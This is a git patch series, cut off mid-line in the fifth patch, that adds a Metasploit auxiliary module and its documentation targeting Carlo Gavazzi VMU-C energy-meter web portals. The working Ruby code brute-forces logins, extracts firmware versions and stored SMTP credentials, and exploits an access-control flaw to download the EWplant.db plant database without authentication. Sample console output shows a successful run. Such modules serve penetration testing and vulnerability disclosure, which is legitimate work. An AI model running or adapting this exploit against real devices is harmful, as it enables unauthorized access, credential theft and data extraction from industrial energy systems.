From 906ca6c24eb1e9e77f7f7c61145ff5e00d028eb4 Mon Sep 17 00:00:00 2001 From: juushya Date: Sat, 11 Feb 2017 11:18:43 +0530 Subject: [PATCH 1/6] Add Carlo Gavazzi module --- .../scanner/http/gavazzi_em_login_loot.md | 31 +++ .../scanner/http/gavazzi_em_login_loot.rb | 260 ++++++++++++++++++ 2 files changed, 291 insertions(+) create mode 100644 documentation/modules/auxiliary/scanner/http/gavazzi_em_login_loot.md create mode 100644 modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb diff --git a/documentation/modules/auxiliary/scanner/http/gavazzi_em_login_loot.md b/documentation/modules/auxiliary/scanner/http/gavazzi_em_login_loot.md new file mode 100644 index 0000000000..0dea484e07 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/gavazzi_em_login_loot.md @@ -0,0 +1,31 @@ +This module scans for Carlo Gavazzi Energy Meters login portals, performs a login brute force attack, will gather device firmware version and attempt to extract SMTP configuration. A valid, admin privileged user is required to extract SMTP password. In some older versions, SMTP config can be retrieved without any authentication. The module also exploits an access control vulnerability which allows an unauthenticated user to remotely dump EWplant.db database file - this db file contains information such as power/energy utilization data, tariffs, and revenue statistics. Vulnerable firmware versions - VMU-C EM prior to firmware Version A11_U05 and VMU-C PV prior to firmware Version A17. + +## Verification Steps + +1. Do: ```use auxiliary/scanner/http/gavazzi_em_login_loot``` +2. Do: ```set RHOSTS [IP]``` +3. Do: ```set RPORT [PORT]``` +4. Do: ```run``` + +## Sample Output + + ``` +msf > use auxiliary/scanner/http/gavazzi_em_login_loot +msf auxiliary(gavazzi_em_login_loot) > set rhosts 1.3.3.7 +msf auxiliary(gavazzi_em_login_loot) > set rport 80 +msf auxiliary(gavazzi_em_login_loot) > run + +[+] 1.3.3.7:80 - [4/4] - Running Carlo Gavazzi Energy Meter Web Management portal... +[*] 1.3.3.7:80 - [1/1] - Trying username:"admin" with password:"admin" +[+] SUCCESSFUL LOGIN - 1.3.3.7:80 - "admin":"admin" +[*] 1.3.3.7:80 - [1/1] - Firmware version A8_U03... +[+] 1.3.3.7:80 - SMTP server "", SMTP username "", SMTP password "" +[*] ++++++++++++++++++++++++++++++++++++++ +[+] 1.3.3.7 - dumping EWplant.db +[*] ++++++++++++++++++++++++++++++++++++++ +[+] 1.3.3.7:80 - File retrieved successfully! +[*] 1.3.3.7:80 - File saved in: /root/.msf4/loot/20000000000005_moduletest_1.3.3.7_EWplant.db_442897.bin +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed + + ``` diff --git a/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb b/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb new file mode 100644 index 0000000000..05844acf41 --- /dev/null +++ b/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb @@ -0,0 +1,260 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Scanner + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Carlo Gavazzi Energy Meter - Login Brute Force, Extract Info and Dump Plant Database', + 'Description' => %{ + This module scans for Carlo Gavazzi Energy Meters login portals, performs a login brute force attack, will gather device firmware version and attempt to extract SMTP configuration. A valid, admin privileged user is required to extract SMTP password. In some older versions, SMTP config can be retrieved without any authentication. The module also exploits an access control vulnerability which allows an unauthenticated user to remotely dump EWplant.db database file - this db file contains information such as power/energy utilization data, tariffs, and revenue statistics. Vulnerable firmware versions - VMU-C EM prior to firmware Version A11_U05 and VMU-C PV prior to firmware Version A17. + }, + 'References' => + [ + ['URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-012-03'] + ], + 'Author' => + [ + 'Karn Ganeshen ' + ], + 'License' => MSF_LICENSE, + 'DefaultOptions' => + { + 'SSL' => false, + 'VERBOSE' => true + })) + + register_options( + [ + Opt::RPORT(80), # Application may run on a different port too. Change port accordingly. + OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'admin']), + OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'admin']) + ], self.class + ) + end + + def run_host(ip) + unless is_app_carlogavazzi? + return + end + + each_user_pass do |user, pass| + do_login(user, pass) + end + ewplantdb + end + + # + # What's the point of running this module if the target actually isn't Carlo Gavazzi EOS Web + # + + def is_app_carlogavazzi? + begin + res = send_request_cgi( + { + 'uri' => '/', + 'method' => 'GET' + } + ) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError + vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...") + return false + end + + if (res && res.code == 200 && (res.body.include?('Accedi') || res.body.include?('Gavazzi') || res.body.include?('styleVMUC.css') || res.body.include?('VMUC'))) + vprint_good("#{rhost}:#{rport} - Running Carlo Gavazzi Energy Meter Web Management portal...") + return true + else + vprint_error("#{rhost}:#{rport} - Application is not Carlo Gavazzi. Module will not continue.") + return false + end + end + + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + + # + # Brute-force the login page + # + + def do_login(user, pass) + vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}") + begin + res = send_request_cgi( + { + 'uri' => '/login.php', + 'method' => 'POST', + 'headers' => { + 'Cookie' => 'PHPSESSID=xxe32qk2gbkfn3ur2nm7ypmgyp' + }, + 'vars_post' => + { + 'username' => user, + 'password' => pass, + 'Entra' => 'Sign+In' # Also - 'Entra' => 'Entra' # Seen to vary in some models + } + } + ) + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE + vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...") + return :abort + end + + if (res && ((res.code == 200 && (res.body.include?('Login in progress') || res.body.include?('Login in corso')) && res.body.match(/id="error" value="2"/)) || (res.code == 302 && res.headers['Location'] == 'disclaimer.php'))) + print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}") + + # Extract firmware version + begin + res = send_request_cgi( + { + 'uri' => '/setupfirmware.php', + 'method' => 'GET', + 'headers' => { + 'Cookie' => 'PHPSESSID=xxe32qk2gbkfn3ur2nm7ypmgyp' + } + } + ) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE + vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...") + return :abort + end + + if (res && res.code == 200 && res.body.include?('Firmware Version')) + fw_ver_dirty = res.body.match(/Firmware Version(.*)(.*)td/) + fw_ver_clean = "#{fw_ver_dirty}".match(/Ver. (.*)[$<]/)[1] + vprint_status("#{rhost}:#{rport} - Firmware version #{fw_ver_clean}...") + + report_cred( + ip: rhost, + port: rport, + service_name: "Carlo Gavazzi Energy Meter [Firmware ver #{fw_ver_clean}]", + user: user, + password: pass + ) + end + + if (res && res.code == 200 && res.body.include?('Versione Firmware Installata')) + fw_ver_dirty = res.body.match(/Ver. (.*)[$<]/) + fw_ver_clean = "#{fw_ver_dirty}".match(/[^Ver. ](.*)[^<]/) + vprint_status("#{rhost}:#{rport} - Firmware version #{fw_ver_clean}...") + + report_cred( + ip: rhost, + port: rport, + service_name: "Carlo Gavazzi Energy Meter [Firmware ver #{fw_ver_clean}]", + user: user, + password: pass + ) + end + + # + # Extract SMTP password + # + + begin + res = send_request_cgi( + { + 'uri' => '/setupmail.php', + 'method' => 'GET', + 'headers' => { + 'Cookie' => 'PHPSESSID=xxe32qk2gbkfn3ur2nm7ypmgyp' + } + } + ) + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE + vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...") + return :abort + end + + if (res && res.code == 200 && res.body.include?('SMTP')) + dirty_smtp_server = res.body.match(/smtp" value=(.*)[$=]/)[1] + smtp_server = dirty_smtp_server.match(/[$"](.*)[$"]/) + dirty_smtp_user = res.body.match(/usersmtp" value=(.*)[$=]/)[1] + smtp_user = dirty_smtp_user.match(/[$"](.*)[$"]/) + dirty_smtp_pass = res.body.match(/passwordsmtp" value=(.*)[$=]/)[1] + smtp_pass = dirty_smtp_pass.match(/[$"](.*)[$"]/) + print_good("#{rhost}:#{rport} - SMTP server #{smtp_server}, SMTP username #{smtp_user}, SMTP password #{smtp_pass}") + else + print_error("#{rhost}:#{rport} - SMTP password not retrieved. Check if the user has 'admin' privileges") + end + return :next_user + else + print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}") + end + end + + # + # Dump EWplant.db database file + # + + def ewplantdb + begin + res = send_request_cgi( + { + 'uri' => '/cfg/EWplant.db', + 'method' => 'GET', + 'headers' => { + 'Cookie' => 'PHPSESSID=xxe32qk2gbkfn3ur2nm7ypmgyp' + } + } + ) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE + vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...") + return :abort + end + + if res && res.code == 200 + vprint_status('++++++++++++++++++++++++++++++++++++++') + print_good("#{rhost} - dumping EWplant.db") + vprint_status('++++++++++++++++++++++++++++++++++++++') + + print_good("#{rhost}:#{rport} - File retrieved successfully!") + path = store_loot( + 'EWplant.db', + 'SQLite_db/text', + rhost, + res.body, + rport, + 'Carlo Gavazzi Energy Meter - EWplant.db' + ) + print_status("#{rhost}:#{rport} - File saved in: #{path}") + else + print_error("#{rhost}:#{rport} - Failed to retrieve file. Set a higher HTTPCLIENTTIMEOUT and try again.") + return + end + end +end From e6bfbb7c78444ba37f552943824deee928d6e635 Mon Sep 17 00:00:00 2001 From: juushya Date: Sun, 12 Feb 2017 16:55:11 +0530 Subject: [PATCH 2/6] Added random cookie gen, res checks, & minor updates --- .../scanner/http/gavazzi_em_login_loot.md | 23 +++-- .../scanner/http/gavazzi_em_login_loot.rb | 88 ++++++++++--------- 2 files changed, 62 insertions(+), 49 deletions(-) diff --git a/documentation/modules/auxiliary/scanner/http/gavazzi_em_login_loot.md b/documentation/modules/auxiliary/scanner/http/gavazzi_em_login_loot.md index 0dea484e07..61d49c431f 100644 --- a/documentation/modules/auxiliary/scanner/http/gavazzi_em_login_loot.md +++ b/documentation/modules/auxiliary/scanner/http/gavazzi_em_login_loot.md @@ -1,4 +1,11 @@ -This module scans for Carlo Gavazzi Energy Meters login portals, performs a login brute force attack, will gather device firmware version and attempt to extract SMTP configuration. A valid, admin privileged user is required to extract SMTP password. In some older versions, SMTP config can be retrieved without any authentication. The module also exploits an access control vulnerability which allows an unauthenticated user to remotely dump EWplant.db database file - this db file contains information such as power/energy utilization data, tariffs, and revenue statistics. Vulnerable firmware versions - VMU-C EM prior to firmware Version A11_U05 and VMU-C PV prior to firmware Version A17. +This module scans for Carlo Gavazzi Energy Meters login portals, performs a login brute force attack, enumerates device firmware version, and attempt to extract the SMTP configuration. A valid, admin privileged user is required to extract the SMTP password. In some older firmware versions, the SMTP config can be retrieved without any authentication. + +The module also exploits an access control vulnerability which allows an unauthenticated user to remotely dump the database file EWplant.db . This db file contains information such as power/energy utilization data, tariffs, and revenue statistics. + +Vulnerable firmware versions include: + +VMU-C EM prior to firmware Version A11_U05 +VMU-C PV prior to firmware Version A17. ## Verification Steps @@ -15,16 +22,14 @@ msf auxiliary(gavazzi_em_login_loot) > set rhosts 1.3.3.7 msf auxiliary(gavazzi_em_login_loot) > set rport 80 msf auxiliary(gavazzi_em_login_loot) > run -[+] 1.3.3.7:80 - [4/4] - Running Carlo Gavazzi Energy Meter Web Management portal... +[+] 1.3.3.7:80 - [1/1] - Running Carlo Gavazzi VMU-C Web Management portal... [*] 1.3.3.7:80 - [1/1] - Trying username:"admin" with password:"admin" [+] SUCCESSFUL LOGIN - 1.3.3.7:80 - "admin":"admin" -[*] 1.3.3.7:80 - [1/1] - Firmware version A8_U03... -[+] 1.3.3.7:80 - SMTP server "", SMTP username "", SMTP password "" -[*] ++++++++++++++++++++++++++++++++++++++ -[+] 1.3.3.7 - dumping EWplant.db -[*] ++++++++++++++++++++++++++++++++++++++ -[+] 1.3.3.7:80 - File retrieved successfully! -[*] 1.3.3.7:80 - File saved in: /root/.msf4/loot/20000000000005_moduletest_1.3.3.7_EWplant.db_442897.bin +[+] 1.3.3.7:80 - Firmware version A8_U03... +[+] 1.3.3.7:80 - SMTP server: "", SMTP username: "", SMTP password: "" +[*] 1.3.3.7 - dumping EWplant.db +[+] 1.3.3.7:80 - EWplant.db retrieved successfully! +[+] 1.3.3.7:80 - File saved in: /root/.msf4/loot/20000000000005_moduletest_1.3.3.7_EWplant.db_501578.bin [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed diff --git a/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb b/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb index 05844acf41..9263654e72 100644 --- a/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb +++ b/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb @@ -13,9 +13,9 @@ class MetasploitModule < Msf::Auxiliary def initialize(info={}) super(update_info(info, - 'Name' => 'Carlo Gavazzi Energy Meter - Login Brute Force, Extract Info and Dump Plant Database', + 'Name' => 'Carlo Gavazzi Energy Meters - Login Brute Force, Extract Info and Dump Plant Database', 'Description' => %{ - This module scans for Carlo Gavazzi Energy Meters login portals, performs a login brute force attack, will gather device firmware version and attempt to extract SMTP configuration. A valid, admin privileged user is required to extract SMTP password. In some older versions, SMTP config can be retrieved without any authentication. The module also exploits an access control vulnerability which allows an unauthenticated user to remotely dump EWplant.db database file - this db file contains information such as power/energy utilization data, tariffs, and revenue statistics. Vulnerable firmware versions - VMU-C EM prior to firmware Version A11_U05 and VMU-C PV prior to firmware Version A17. + This module scans for Carlo Gavazzi Energy Meters login portals, performs a login brute force attack, enumerates device firmware version, and attempt to extract the SMTP configuration. A valid, admin privileged user is required to extract the SMTP password. In some older firmware versions, the SMTP config can be retrieved without any authentication. The module also exploits an access control vulnerability which allows an unauthenticated user to remotely dump the database file EWplant.db . This db file contains information such as power/energy utilization data, tariffs, and revenue statistics. Vulnerable firmware versions include - VMU-C EM prior to firmware Version A11_U05 and VMU-C PV prior to firmware Version A17. }, 'References' => [ @@ -53,7 +53,7 @@ class MetasploitModule < Msf::Auxiliary end # - # What's the point of running this module if the target actually isn't Carlo Gavazzi EOS Web + # What's the point of running this module if the target actually isn't Carlo Gavazzi box # def is_app_carlogavazzi? @@ -70,7 +70,7 @@ class MetasploitModule < Msf::Auxiliary end if (res && res.code == 200 && (res.body.include?('Accedi') || res.body.include?('Gavazzi') || res.body.include?('styleVMUC.css') || res.body.include?('VMUC'))) - vprint_good("#{rhost}:#{rport} - Running Carlo Gavazzi Energy Meter Web Management portal...") + vprint_good("#{rhost}:#{rport} - Running Carlo Gavazzi VMU-C Web Management portal...") return true else vprint_error("#{rhost}:#{rport} - Application is not Carlo Gavazzi. Module will not continue.") @@ -111,13 +111,18 @@ class MetasploitModule < Msf::Auxiliary def do_login(user, pass) vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}") + + # Set Cookie - Box is vuln to Session Fixation. Generating a random cookie for use. + randomvalue = Rex::Text.rand_text_alphanumeric(26) + cookie_value = 'PHPSESSID=' + "#{randomvalue}" + begin res = send_request_cgi( { 'uri' => '/login.php', 'method' => 'POST', 'headers' => { - 'Cookie' => 'PHPSESSID=xxe32qk2gbkfn3ur2nm7ypmgyp' + 'Cookie' => cookie_value }, 'vars_post' => { @@ -143,7 +148,7 @@ class MetasploitModule < Msf::Auxiliary 'uri' => '/setupfirmware.php', 'method' => 'GET', 'headers' => { - 'Cookie' => 'PHPSESSID=xxe32qk2gbkfn3ur2nm7ypmgyp' + 'Cookie' => cookie_value } } ) @@ -154,34 +159,40 @@ class MetasploitModule < Msf::Auxiliary if (res && res.code == 200 && res.body.include?('Firmware Version')) fw_ver_dirty = res.body.match(/Firmware Version(.*)(.*)td/) - fw_ver_clean = "#{fw_ver_dirty}".match(/Ver. (.*)[$<]/)[1] - vprint_status("#{rhost}:#{rport} - Firmware version #{fw_ver_clean}...") - report_cred( - ip: rhost, - port: rport, - service_name: "Carlo Gavazzi Energy Meter [Firmware ver #{fw_ver_clean}]", - user: user, - password: pass - ) + if !fw_ver_dirty.nil? + fw_ver_clean = "#{fw_ver_dirty}".match(/Ver. (.*)[$<]/)[1] + print_good("#{rhost}:#{rport} - Firmware version #{fw_ver_clean}...") + + report_cred( + ip: rhost, + port: rport, + service_name: "Carlo Gavazzi Energy Meter [Firmware ver #{fw_ver_clean}]", + user: user, + password: pass + ) + end end if (res && res.code == 200 && res.body.include?('Versione Firmware Installata')) fw_ver_dirty = res.body.match(/Ver. (.*)[$<]/) - fw_ver_clean = "#{fw_ver_dirty}".match(/[^Ver. ](.*)[^<]/) - vprint_status("#{rhost}:#{rport} - Firmware version #{fw_ver_clean}...") - report_cred( - ip: rhost, - port: rport, - service_name: "Carlo Gavazzi Energy Meter [Firmware ver #{fw_ver_clean}]", - user: user, - password: pass - ) + if !fw_ver_dirty.nil? + fw_ver_clean = "#{fw_ver_dirty}".match(/[^Ver. ](.*)[^<]/) + print_good("#{rhost}:#{rport} - Firmware version #{fw_ver_clean}...") + + report_cred( + ip: rhost, + port: rport, + service_name: "Carlo Gavazzi Energy Meter [Firmware ver #{fw_ver_clean}]", + user: user, + password: pass + ) + end end # - # Extract SMTP password + # Extract SMTP config # begin @@ -190,7 +201,7 @@ class MetasploitModule < Msf::Auxiliary 'uri' => '/setupmail.php', 'method' => 'GET', 'headers' => { - 'Cookie' => 'PHPSESSID=xxe32qk2gbkfn3ur2nm7ypmgyp' + 'Cookie' => cookie_value } } ) @@ -207,9 +218,12 @@ class MetasploitModule < Msf::Auxiliary smtp_user = dirty_smtp_user.match(/[$"](.*)[$"]/) dirty_smtp_pass = res.body.match(/passwordsmtp" value=(.*)[$=]/)[1] smtp_pass = dirty_smtp_pass.match(/[$"](.*)[$"]/) - print_good("#{rhost}:#{rport} - SMTP server #{smtp_server}, SMTP username #{smtp_user}, SMTP password #{smtp_pass}") + + if (!dirty_smtp_server.nil?) && (!dirty_smtp_user.nil?) && (!dirty_smtp_pass.nil?) + print_good("#{rhost}:#{rport} - SMTP server: #{smtp_server}, SMTP username: #{smtp_user}, SMTP password: #{smtp_pass}") + end else - print_error("#{rhost}:#{rport} - SMTP password not retrieved. Check if the user has 'admin' privileges") + vprint_error("#{rhost}:#{rport} - SMTP config could not be retrieved. Check if the user has administrative privileges") end return :next_user else @@ -218,7 +232,7 @@ class MetasploitModule < Msf::Auxiliary end # - # Dump EWplant.db database file + # Dump EWplant.db database file - No authentication required # def ewplantdb @@ -226,10 +240,7 @@ class MetasploitModule < Msf::Auxiliary res = send_request_cgi( { 'uri' => '/cfg/EWplant.db', - 'method' => 'GET', - 'headers' => { - 'Cookie' => 'PHPSESSID=xxe32qk2gbkfn3ur2nm7ypmgyp' - } + 'method' => 'GET' } ) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE @@ -238,11 +249,8 @@ class MetasploitModule < Msf::Auxiliary end if res && res.code == 200 - vprint_status('++++++++++++++++++++++++++++++++++++++') - print_good("#{rhost} - dumping EWplant.db") - vprint_status('++++++++++++++++++++++++++++++++++++++') - - print_good("#{rhost}:#{rport} - File retrieved successfully!") + print_status("#{rhost} - dumping EWplant.db") + print_good("#{rhost}:#{rport} - EWplant.db retrieved successfully!") path = store_loot( 'EWplant.db', 'SQLite_db/text', @@ -251,9 +259,9 @@ class MetasploitModule < Msf::Auxiliary rport, 'Carlo Gavazzi Energy Meter - EWplant.db' ) - print_status("#{rhost}:#{rport} - File saved in: #{path}") + print_good("#{rhost}:#{rport} - File saved in: #{path}") else - print_error("#{rhost}:#{rport} - Failed to retrieve file. Set a higher HTTPCLIENTTIMEOUT and try again.") + vprint_error("#{rhost}:#{rport} - Failed to retrieve EWplant.db. Set a higher HTTPCLIENTTIMEOUT and try again. Else, check if target is running vulnerable version.?") return end end From c9a354b844694e0e7d267564e37c7059e0284baa Mon Sep 17 00:00:00 2001 From: juushya Date: Wed, 1 Mar 2017 20:18:51 +0530 Subject: [PATCH 3/6] Added nil checks --- .../scanner/http/gavazzi_em_login_loot.rb | 49 +++++++++++-------- 1 file changed, 29 insertions(+), 20 deletions(-) diff --git a/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb b/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb index 9263654e72..60f395ba5a 100644 --- a/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb +++ b/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb @@ -162,15 +162,18 @@ class MetasploitModule < Msf::Auxiliary if !fw_ver_dirty.nil? fw_ver_clean = "#{fw_ver_dirty}".match(/Ver. (.*)[$<]/)[1] - print_good("#{rhost}:#{rport} - Firmware version #{fw_ver_clean}...") - report_cred( - ip: rhost, - port: rport, - service_name: "Carlo Gavazzi Energy Meter [Firmware ver #{fw_ver_clean}]", - user: user, - password: pass - ) + if !fw_ver_clean.nil? + print_good("#{rhost}:#{rport} - Firmware version #{fw_ver_clean}...") + + report_cred( + ip: rhost, + port: rport, + service_name: "Carlo Gavazzi Energy Meter [Firmware ver #{fw_ver_clean}]", + user: user, + password: pass + ) + end end end @@ -179,15 +182,18 @@ class MetasploitModule < Msf::Auxiliary if !fw_ver_dirty.nil? fw_ver_clean = "#{fw_ver_dirty}".match(/[^Ver. ](.*)[^<]/) - print_good("#{rhost}:#{rport} - Firmware version #{fw_ver_clean}...") - report_cred( - ip: rhost, - port: rport, - service_name: "Carlo Gavazzi Energy Meter [Firmware ver #{fw_ver_clean}]", - user: user, - password: pass - ) + if !fw_ver_clean.nil? + print_good("#{rhost}:#{rport} - Firmware version #{fw_ver_clean}...") + + report_cred( + ip: rhost, + port: rport, + service_name: "Carlo Gavazzi Energy Meter [Firmware ver #{fw_ver_clean}]", + user: user, + password: pass + ) + end end end @@ -213,14 +219,17 @@ class MetasploitModule < Msf::Auxiliary if (res && res.code == 200 && res.body.include?('SMTP')) dirty_smtp_server = res.body.match(/smtp" value=(.*)[$=]/)[1] - smtp_server = dirty_smtp_server.match(/[$"](.*)[$"]/) dirty_smtp_user = res.body.match(/usersmtp" value=(.*)[$=]/)[1] - smtp_user = dirty_smtp_user.match(/[$"](.*)[$"]/) dirty_smtp_pass = res.body.match(/passwordsmtp" value=(.*)[$=]/)[1] - smtp_pass = dirty_smtp_pass.match(/[$"](.*)[$"]/) if (!dirty_smtp_server.nil?) && (!dirty_smtp_user.nil?) && (!dirty_smtp_pass.nil?) - print_good("#{rhost}:#{rport} - SMTP server: #{smtp_server}, SMTP username: #{smtp_user}, SMTP password: #{smtp_pass}") + smtp_server = dirty_smtp_server.match(/[$"](.*)[$"]/) + smtp_user = dirty_smtp_user.match(/[$"](.*)[$"]/) + smtp_pass = dirty_smtp_pass.match(/[$"](.*)[$"]/) + + if (!smtp_server.nil?) && (!smtp_user.nil?) && (!smtp_pass.nil?) + print_good("#{rhost}:#{rport} - SMTP server: #{smtp_server}, SMTP username: #{smtp_user}, SMTP password: #{smtp_pass}") + end end else vprint_error("#{rhost}:#{rport} - SMTP config could not be retrieved. Check if the user has administrative privileges") From 6bd09c142f29988e8d6642fe7c083323b58f8702 Mon Sep 17 00:00:00 2001 From: juushya Date: Fri, 3 Mar 2017 00:53:17 +0530 Subject: [PATCH 4/6] Minor edits --- .../scanner/http/gavazzi_em_login_loot.md | 6 +++--- .../scanner/http/gavazzi_em_login_loot.rb | 16 ++++++---------- 2 files changed, 9 insertions(+), 13 deletions(-) diff --git a/documentation/modules/auxiliary/scanner/http/gavazzi_em_login_loot.md b/documentation/modules/auxiliary/scanner/http/gavazzi_em_login_loot.md index 61d49c431f..357b0fb84d 100644 --- a/documentation/modules/auxiliary/scanner/http/gavazzi_em_login_loot.md +++ b/documentation/modules/auxiliary/scanner/http/gavazzi_em_login_loot.md @@ -1,6 +1,6 @@ This module scans for Carlo Gavazzi Energy Meters login portals, performs a login brute force attack, enumerates device firmware version, and attempt to extract the SMTP configuration. A valid, admin privileged user is required to extract the SMTP password. In some older firmware versions, the SMTP config can be retrieved without any authentication. -The module also exploits an access control vulnerability which allows an unauthenticated user to remotely dump the database file EWplant.db . This db file contains information such as power/energy utilization data, tariffs, and revenue statistics. +The module also exploits an access control vulnerability which allows an unauthenticated user to remotely dump the database file EWplant.db. This db file contains information such as power/energy utilization data, tariffs, and revenue statistics. Vulnerable firmware versions include: @@ -27,9 +27,9 @@ msf auxiliary(gavazzi_em_login_loot) > run [+] SUCCESSFUL LOGIN - 1.3.3.7:80 - "admin":"admin" [+] 1.3.3.7:80 - Firmware version A8_U03... [+] 1.3.3.7:80 - SMTP server: "", SMTP username: "", SMTP password: "" -[*] 1.3.3.7 - dumping EWplant.db +[*] 1.3.3.7:80 - dumping EWplant.db [+] 1.3.3.7:80 - EWplant.db retrieved successfully! -[+] 1.3.3.7:80 - File saved in: /root/.msf4/loot/20000000000005_moduletest_1.3.3.7_EWplant.db_501578.bin +[+] 1.3.3.7:80 - File saved in: /root/.msf4/loot/20000000000005_moduletest_1.3.3.7_EWplant.db_501578.db [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed diff --git a/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb b/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb index 60f395ba5a..bfe9b56912 100644 --- a/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb +++ b/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb @@ -15,7 +15,7 @@ class MetasploitModule < Msf::Auxiliary super(update_info(info, 'Name' => 'Carlo Gavazzi Energy Meters - Login Brute Force, Extract Info and Dump Plant Database', 'Description' => %{ - This module scans for Carlo Gavazzi Energy Meters login portals, performs a login brute force attack, enumerates device firmware version, and attempt to extract the SMTP configuration. A valid, admin privileged user is required to extract the SMTP password. In some older firmware versions, the SMTP config can be retrieved without any authentication. The module also exploits an access control vulnerability which allows an unauthenticated user to remotely dump the database file EWplant.db . This db file contains information such as power/energy utilization data, tariffs, and revenue statistics. Vulnerable firmware versions include - VMU-C EM prior to firmware Version A11_U05 and VMU-C PV prior to firmware Version A17. + This module scans for Carlo Gavazzi Energy Meters login portals, performs a login brute force attack, enumerates device firmware version, and attempt to extract the SMTP configuration. A valid, admin privileged user is required to extract the SMTP password. In some older firmware versions, the SMTP config can be retrieved without any authentication. The module also exploits an access control vulnerability which allows an unauthenticated user to remotely dump the database file EWplant.db. This db file contains information such as power/energy utilization data, tariffs, and revenue statistics. Vulnerable firmware versions include - VMU-C EM prior to firmware Version A11_U05 and VMU-C PV prior to firmware Version A17. }, 'References' => [ @@ -258,16 +258,12 @@ class MetasploitModule < Msf::Auxiliary end if res && res.code == 200 - print_status("#{rhost} - dumping EWplant.db") + print_status("#{rhost}:#{rport} - dumping EWplant.db") print_good("#{rhost}:#{rport} - EWplant.db retrieved successfully!") - path = store_loot( - 'EWplant.db', - 'SQLite_db/text', - rhost, - res.body, - rport, - 'Carlo Gavazzi Energy Meter - EWplant.db' - ) + loot_name = 'EWplant.db' + loot_type = 'SQLite_db/text' + loot_desc = 'Carlo Gavazzi EM - EWplant.db' + path = store_loot(loot_name, loot_type, datastore['RHOST'], res.body , loot_desc) print_good("#{rhost}:#{rport} - File saved in: #{path}") else vprint_error("#{rhost}:#{rport} - Failed to retrieve EWplant.db. Set a higher HTTPCLIENTTIMEOUT and try again. Else, check if target is running vulnerable version.?") From 3ab214e758b077072b874184fc9e739ddec4e481 Mon Sep 17 00:00:00 2001 From: juushya Date: Tue, 7 Mar 2017 00:03:24 +0530 Subject: [PATCH 5/6] Minor edits --- .../scanner/http/gavazzi_em_login_loot.rb | 34 ++++--------------- 1 file changed, 6 insertions(+), 28 deletions(-) diff --git a/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb b/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb index bfe9b56912..96ba5c836f 100644 --- a/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb +++ b/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb @@ -157,39 +157,17 @@ class MetasploitModule < Msf::Auxiliary return :abort end - if (res && res.code == 200 && res.body.include?('Firmware Version')) - fw_ver_dirty = res.body.match(/Firmware Version(.*)(.*)td/) + if res && res.code == 200 + if res.body.include?('Firmware Version') || res.body.include?('Versione Firmware') + fw_ver = res.body.match(/Ver. (.*)[$<]/)[1] - if !fw_ver_dirty.nil? - fw_ver_clean = "#{fw_ver_dirty}".match(/Ver. (.*)[$<]/)[1] - - if !fw_ver_clean.nil? - print_good("#{rhost}:#{rport} - Firmware version #{fw_ver_clean}...") + if !fw_ver.nil? + print_good("#{rhost}:#{rport} - Firmware version #{fw_ver}...") report_cred( ip: rhost, port: rport, - service_name: "Carlo Gavazzi Energy Meter [Firmware ver 